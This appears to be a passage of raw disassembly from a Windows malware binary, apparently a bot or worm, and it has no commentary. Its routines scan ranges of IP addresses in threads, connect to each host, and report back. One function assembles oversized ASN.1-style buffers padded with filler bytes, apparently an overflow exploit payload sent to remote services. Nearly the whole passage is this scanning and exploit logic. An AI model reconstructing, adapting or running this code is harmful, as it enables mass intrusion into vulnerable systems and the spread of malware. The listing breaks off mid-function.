push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C254 cmp [ebp+Str], 0 push 1 ; int push [ebp+var_18] ; int lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Str] jnz short loc_40C248 lea eax, [ebp+var_140] loc_40C248: ; CODE XREF: sub_40C125+11Bj push eax ; Str push [ebp+var_40] ; int call sub_409A73 add esp, 14h loc_40C254: ; CODE XREF: sub_40C125+100j lea eax, [ebp+Dest] push eax call sub_4151AD mov [esp+2A8h+var_2A8], offset dword_4CD7A0 call ds:dword_4270D0 ; RtlLeaveCriticalSection jmp loc_40C31E ; --------------------------------------------------------------------------- loc_40C272: ; CODE XREF: sub_40C125+D0j push edi call dword_4CB6E0 ; inet_ntoa push eax ; Format lea eax, [ebp+var_208] push eax ; Dest call _sprintf mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax ; Format lea eax, [ebp+var_178] push eax ; Dest call _sprintf cmp [ebp+Str], 0 pop ecx pop ecx lea eax, [ebp+Str] jnz short loc_40C2B7 lea eax, [ebp+var_140] loc_40C2B7: ; CODE XREF: sub_40C125+18Aj push eax ; Format lea eax, [ebp+var_1F8] push eax ; Dest call _sprintf mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431B04[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31E: ; CODE XREF: sub_40C125+C6j ; sub_40C125+148j push 7D0h call ds:dword_427078 ; Sleep jmp loc_40C16C ; --------------------------------------------------------------------------- loc_40C32E: ; CODE XREF: sub_40C125+55j push esi call sub_40B413 pop ecx push 0 call ds:dword_4270CC ; ExitThread sub_40C125 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C33D proc near ; DATA XREF: sub_401ACD+1F82o ; sub_401ACD+5C49o var_1DC = dword ptr -1DCh Source = byte ptr -1CCh var_14C = byte ptr -14Ch Str = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CB694 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB7A0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACE push 0Bh call sub_40B33F add esp, 150h cmp eax, ebx jnz short loc_40C40B mov esi, offset dword_4CD7A0 push esi call ds:dword_4270DC ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4270D8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_40C40B lea eax, [ebp+Source] push offset asc_432250 ; "-" push eax ; Dest call _sprintf xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F5 push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_409A73 add esp, 14h loc_40C3F5: ; CODE XREF: sub_40C33D+99j lea eax, [ebp+Source] push eax call sub_4151AD pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40B: ; CODE XREF: sub_40C33D+63j ; sub_40C33D+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_427078 mov edi, ebx mov dword_4CB7A4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D8 loc_40C429: ; CODE XREF: sub_40C33D+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+Source] push offset asc_43221C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 0Bh ; int push eax ; Source call sub_40B0F7 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E594[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C125 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40C4A3 loc_40C498: ; CODE XREF: sub_40C33D+164j cmp [ebp+var_4], ebx jnz short loc_40C4CA push 1Eh call esi ; Sleep jmp short loc_40C498 ; --------------------------------------------------------------------------- loc_40C4A3: ; CODE XREF: sub_40C33D+159j call ds:dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_4321E4 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_4151AD add esp, 10h loc_40C4CA: ; CODE XREF: sub_40C33D+15Ej push 1Eh call esi ; Sleep inc edi cmp edi, [ebp+var_20] jbe loc_40C429 loc_40C4D8: ; CODE XREF: sub_40C33D+E6j cmp [ebp+var_30], ebx jz loc_40C582 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi ; Sleep loc_40C4ED: ; CODE XREF: sub_40C33D+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB7A0[eax*8] push eax call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_4321A4 ; "-" push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53B push ebx ; int lea eax, [ebp+Source] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_3C] ; int call sub_409A73 add esp, 14h loc_40C53B: ; CODE XREF: sub_40C33D+1DFj lea eax, [ebp+Source] push eax call sub_4151AD mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_4CB7A4[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B33F cmp eax, 1 pop ecx jnz short loc_40C572 push offset dword_4CD7A0 call ds:dword_4270DC ; RtlDeleteCriticalSection loc_40C572: ; CODE XREF: sub_40C33D+228j push [ebp+var_2C] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_40C582: ; CODE XREF: sub_40C33D+19Ej ; sub_40C33D+25Dj mov eax, [ebp+var_2C] cmp dword_4CB7A4[eax*8], 1 jnz loc_40C4ED push 7D0h call esi ; Sleep jmp short loc_40C582 sub_40C33D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59C proc near ; DATA XREF: sub_40C669+7Bo ; sub_40C75A+7Bo var_BC = dword ptr -0BCh Str = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_38] call dword_4CB654 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB6D4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C65A lea eax, [ebp+Dst] push 10h push eax push esi call dword_4CB5FC ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E59C[ecx], esi jz short loc_40C65A push [ebp+var_38] push [ebp+var_28] call dword_4CB6E0 ; inet_ntoa push eax mov edi, offset byte_4CE164 push offset asc_432284 ; "-" push edi ; Dest call _sprintf push 0 ; int lea eax, [ebp+Str] push [ebp+var_20] ; int push edi ; int push eax ; Str push [ebp+var_BC] ; int call sub_409A73 push edi call sub_4151AD add esp, 28h loc_40C65A: ; CODE XREF: sub_40C59C+5Dj ; sub_40C59C+7Ej push esi call dword_4CB6EC ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40C59C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; int __cdecl sub_40C669(int Dst) sub_40C669 proc near ; DATA XREF: sub_401ACD+603Fo Dest = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h Src = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 Dst = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+Dst] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, ds:dword_427078 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C697: ; CODE XREF: sub_40C669+ECj push [ebp+var_30] push [ebp+Src] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_4322AC ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43E390 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40C59C push edi push edi call ds:dword_42707C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40C703 loc_40C6F8: ; CODE XREF: sub_40C669+98j cmp [ebp+var_C], edi jnz short loc_40C703 push 32h call esi ; Sleep jmp short loc_40C6F8 ; --------------------------------------------------------------------------- loc_40C703: ; CODE XREF: sub_40C669+8Dj ; sub_40C669+92j push [ebp+var_4] call ds:dword_427068 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+Src] push 4 ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy add esp, 0Ch push [ebp+Dst] call dword_4CB57C ; htonl inc eax push eax mov [ebp+Dst], eax call dword_4CB650 ; htonl mov [ebp+Dst], eax lea eax, [ebp+Dst] push 4 ; Size push eax ; Src lea eax, [ebp+Src] push eax ; Dst call _memcpy add esp, 0Ch jmp loc_40C697 sub_40C669 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C75A proc near ; DATA XREF: sub_401ACD+5D4Fo Dest = byte ptr -130h var_B0 = dword ptr -0B0h Str = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_427078 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C788: ; CODE XREF: sub_40C75A+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_432300 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push 1FFh ; Count push eax ; Source mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_43E390 push eax ; Dest call _strncpy add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40C59C push edi push edi call ds:dword_42707C ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40C7F4 loc_40C7E9: ; CODE XREF: sub_40C75A+98j cmp [ebp+var_8], edi jnz short loc_40C7F4 push 32h call esi ; Sleep jmp short loc_40C7E9 ; --------------------------------------------------------------------------- loc_40C7F4: ; CODE XREF: sub_40C75A+8Dj ; sub_40C75A+92j push [ebp+arg_0] call ds:dword_427068 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40C81B inc [ebp+var_2C] jmp loc_40C788 ; --------------------------------------------------------------------------- loc_40C81B: ; CODE XREF: sub_40C75A+B7j push [ebp+var_1C] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Dest] push offset asc_4322D4 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_B0] ; int call sub_409A73 push [ebp+var_20] call sub_40B413 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40C75A endp ; =============== S U B R O U T I N E ======================================= sub_40C867 proc near ; CODE XREF: sub_40CADB+Ep ; sub_40CADB+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C867 endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40C871(void *Src,size_t Size) sub_40C871 proc near ; CODE XREF: sub_40CADB+11Ep Src = dword ptr 4 Size = dword ptr 8 push ebx mov ebx, [esp+4+Size] push esi push edi mov esi, ecx push ebx ; Size call _malloc mov edi, eax pop ecx test edi, edi jz short loc_40C8A3 push ebx ; Size push 0 ; Val push edi ; Dst call _memset push ebx ; Size push [esp+1Ch+Src] ; Src push edi ; Dst call _memcpy add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A3: ; CODE XREF: sub_40C871+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_40C8AB(void *Src,size_t Size,int,int) sub_40C8AB proc near ; CODE XREF: sub_40C9A5+18p ; sub_40CA1F+16p ... Src = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+Size] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi ; Size call _malloc mov esi, eax pop ecx test esi, esi jz short loc_40C8F7 push edi ; Size push 0 ; Val push esi ; Dst call _memset push [ebp+Size] ; Size push [ebp+Src] ; Src push esi ; Dst call _memcpy push [ebp+arg_C] ; Size mov eax, [ebp+Size] add eax, esi push [ebp+arg_8] ; Src push eax ; Dst call _memcpy add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F7: ; CODE XREF: sub_40C8AB+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AB endp ; =============== S U B R O U T I N E ======================================= sub_40C900 proc near ; CODE XREF: sub_40C9A5+5Ep ; sub_40C9A5+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C910 push eax call sub_41B0B1 pop ecx loc_40C910: ; CODE XREF: sub_40C900+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C900 endp ; =============== S U B R O U T I N E ======================================= sub_40C919 proc near ; CODE XREF: sub_40C9A5+20p ; sub_40CA80+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C946 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40C94A loc_40C946: ; CODE XREF: sub_40C919+Dj xor al, al jmp short loc_40C9A1 ; --------------------------------------------------------------------------- loc_40C94A: ; CODE XREF: sub_40C919+2Bj mov eax, ebx add eax, [esi+4] push eax ; Size push 0 ; Val push edi ; Dst call _memset add esp, 0Ch cmp ebx, 1 jnz short loc_40C96F mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C989 ; --------------------------------------------------------------------------- loc_40C96F: ; CODE XREF: sub_40C919+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] ; Size lea eax, [edi+3] push dword ptr [esi] ; Src loc_40C989: ; CODE XREF: sub_40C919+54j push eax ; Dst call _memcpy add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A1: ; CODE XREF: sub_40C919+2Fj pop edi pop esi pop ebx retn sub_40C919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A5 proc near ; CODE XREF: sub_40CADB+89p ; sub_40CADB+E3p ... Src = dword ptr -8 Size = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+Src] push dword ptr [esi+4] ; int push dword ptr [esi] ; int push 1 ; Size push offset byte_4CB50C ; Src call sub_40C8AB lea ecx, [ebp+Src] call sub_40C919 mov eax, [ebp+Size] inc eax push eax ; Size call _malloc mov edi, eax pop ecx test edi, edi jnz short loc_40C9DF xor al, al jmp short loc_40CA1B ; --------------------------------------------------------------------------- loc_40C9DF: ; CODE XREF: sub_40C9A5+34j mov eax, [ebp+Size] inc eax push eax ; Size push 0 ; Val push edi ; Dst call _memset mov byte ptr [edi], 3 push [ebp+Size] ; Size lea eax, [edi+1] push [ebp+Src] ; Src push eax ; Dst call _memcpy add esp, 18h mov ecx, esi call sub_40C900 mov eax, [ebp+Size] lea ecx, [ebp+Src] inc eax mov [esi], edi mov [esi+4], eax call sub_40C900 mov al, 1 loc_40CA1B: ; CODE XREF: sub_40C9A5+38j pop edi pop esi leave retn sub_40C9A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1F proc near ; CODE XREF: sub_40CA53+14p ; sub_40CA70+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] ; int lea ecx, [ebp+var_8] push [ebp+arg_0] ; int push dword ptr [esi+4] ; Size push dword ptr [esi] ; Src call sub_40C8AB mov ecx, esi call sub_40C900 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1F endp ; =============== S U B R O U T I N E ======================================= ; int __stdcall sub_40CA53(char *Str) sub_40CA53 proc near ; CODE XREF: sub_40CADB+F0p ; sub_40CADB+15Bp ... Str = dword ptr 4 push esi mov esi, ecx push [esp+4+Str] ; Str call _strlen pop ecx push eax mov ecx, esi push [esp+8+Str] call sub_40CA1F pop esi retn 4 sub_40CA53 endp ; =============== S U B R O U T I N E ======================================= sub_40CA70 proc near ; CODE XREF: sub_40CABC+Bp ; sub_40CADB+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1F retn 8 sub_40CA70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA80 proc near ; CODE XREF: sub_40CABC+16p ; sub_40CADB+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C919 test al, al jz short loc_40CAB9 push dword ptr [esi+4] ; int lea ecx, [ebp+var_8] push dword ptr [esi] ; int push 1 ; Size push offset asc_42CFE0 ; "#" call sub_40C8AB mov ecx, esi call sub_40C900 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB9: ; CODE XREF: sub_40CA80+Fj pop esi leave retn sub_40CA80 endp ; =============== S U B R O U T I N E ======================================= sub_40CABC proc near ; CODE XREF: sub_40CADB+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA70 test al, al jz short loc_40CAD7 mov ecx, esi call sub_40CA80 loc_40CAD7: ; CODE XREF: sub_40CABC+12j pop esi retn 8 sub_40CABC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADB proc near ; CODE XREF: .text:0040D362p Dst = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C867 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2F mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2F push esi lea ecx, [ebp+var_30] call sub_40C867 lea ecx, [ebp+var_20] call sub_40C867 lea ecx, [ebp+var_50] call sub_40C867 lea ecx, [ebp+var_18] call sub_40C867 lea ecx, [ebp+var_40] call sub_40C867 lea ecx, [ebp+var_38] call sub_40C867 lea ecx, [ebp+var_28] call sub_40C867 push 4 push offset dword_432338 lea ecx, [ebp+var_30] call sub_40CA1F push 3 push offset dword_432340 lea ecx, [ebp+var_30] call sub_40CA1F lea ecx, [ebp+var_30] call sub_40C9A5 lea ecx, [ebp+var_30] call sub_40CA80 mov esi, 800h lea eax, [ebp+Dst] push esi ; Size push 42h ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1F push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1F mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+Dst] push eax call sub_40CA1F lea ecx, [ebp+var_20] call sub_40C9A5 push offset dword_4326BC ; Str lea ecx, [ebp+var_50] call sub_40CA53 lea ecx, [ebp+var_50] call sub_40C9A5 push esi ; Size lea eax, [ebp+Dst] push 44h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_58] push 410h ; Size push eax ; Src call sub_40C871 lea ecx, [ebp+var_58] call sub_40C9A5 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABC lea ecx, [ebp+var_58] call sub_40C900 push esi ; Size lea eax, [ebp+Dst] push 43h ; Val push eax ; Dst call _memset add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA53 push 4 push offset dword_432344 lea ecx, [ebp+var_18] call sub_40CA1F push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1F sub edi, [ebp+arg_8] lea eax, [ebp+Dst] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1F lea ecx, [ebp+var_18] call sub_40C9A5 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA70 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA70 lea ecx, [ebp+var_40] call sub_40CA80 lea ecx, [ebp+var_18] call sub_40C900 lea ecx, [ebp+var_50] call sub_40C900 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA70 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA70 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA70 lea ecx, [ebp+var_38] call sub_40CA80 lea ecx, [ebp+var_20] call sub_40C900 lea ecx, [ebp+var_30] call sub_40C900 lea ecx, [ebp+var_40] call sub_40C900 push esi ; Size lea eax, [ebp+Dst] push 41h ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1F lea ecx, [ebp+var_28] call sub_40C9A5 push 2 push offset dword_4326B0 lea ecx, [ebp+var_28] call sub_40CA1F push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA70 lea ecx, [ebp+var_28] call sub_40CA80 lea ecx, [ebp+var_38] call sub_40C900 lea ecx, [ebp+var_10] call sub_40C867 lea ecx, [ebp+var_8] call sub_40C867 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA70 lea ecx, [ebp+var_10] call sub_40C919 lea ecx, [ebp+var_28] call sub_40C900 push offset dword_4326AC ; Str lea ecx, [ebp+var_8] call sub_40CA53 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C919 lea ecx, [ebp+var_10] call sub_40C900 push offset dword_4326A8 ; Str lea ecx, [ebp+var_10] call sub_40CA53 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA70 lea ecx, [ebp+var_10] call sub_40C919 lea ecx, [ebp+var_8] call sub_40C900 push offset dword_43269C ; Str lea ecx, [ebp+var_8] call sub_40CA53 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C919 lea ecx, [ebp+var_10] call sub_40C900 push offset dword_432698 ; Str lea ecx, [ebp+var_48] call sub_40CA53 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C900 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3D ; --------------------------------------------------------------------------- loc_40CE2F: ; CODE XREF: sub_40CADB+1Bj ; sub_40CADB+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3D: ; CODE XREF: sub_40CADB+352j pop edi pop ebx leave retn sub_40CADB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE41 proc near ; CODE XREF: sub_40CF05+A1p ; sub_40CF05+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_427228 ; select cmp eax, edi jnz short loc_40CEA8 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; __WSAFDIsSet test eax, eax jnz short loc_40CEAC loc_40CEA8: ; CODE XREF: sub_40CE41+54j xor eax, eax jmp short loc_40CEBC ; --------------------------------------------------------------------------- loc_40CEAC: ; CODE XREF: sub_40CE41+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB66C ; recv loc_40CEBC: ; CODE XREF: sub_40CE41+69j pop edi pop esi leave retn sub_40CE41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEC0 proc near ; CODE XREF: sub_40CF05+81p ; sub_40CF05+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB650 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CB6A4 ; send cmp eax, 4 jz short loc_40CEEA xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEEA: ; CODE XREF: sub_40CEC0+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CB6A4 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40CF05(int,void *Src,size_t Size) sub_40CF05 proc near ; CODE XREF: sub_40CFDF+48p ; .text:0040D453p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 Src = dword ptr 0Ch Size = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+Size] lea ebx, [edi+41h] push ebx ; Size mov [ebp+var_4], ebx call _malloc mov esi, eax pop ecx test esi, esi jnz short loc_40CF2E xor al, al jmp loc_40CFDA ; --------------------------------------------------------------------------- loc_40CF2E: ; CODE XREF: sub_40CF05+20j push ebx ; Size push 0 ; Val push esi ; Dst call _memset push 2Fh ; Size push offset dword_4323D4 ; Src push esi ; Dst call _memcpy push 8 ; Size lea eax, [esi+31h] push offset dword_432404 ; Src push eax ; Dst mov [esi+2Fh], di 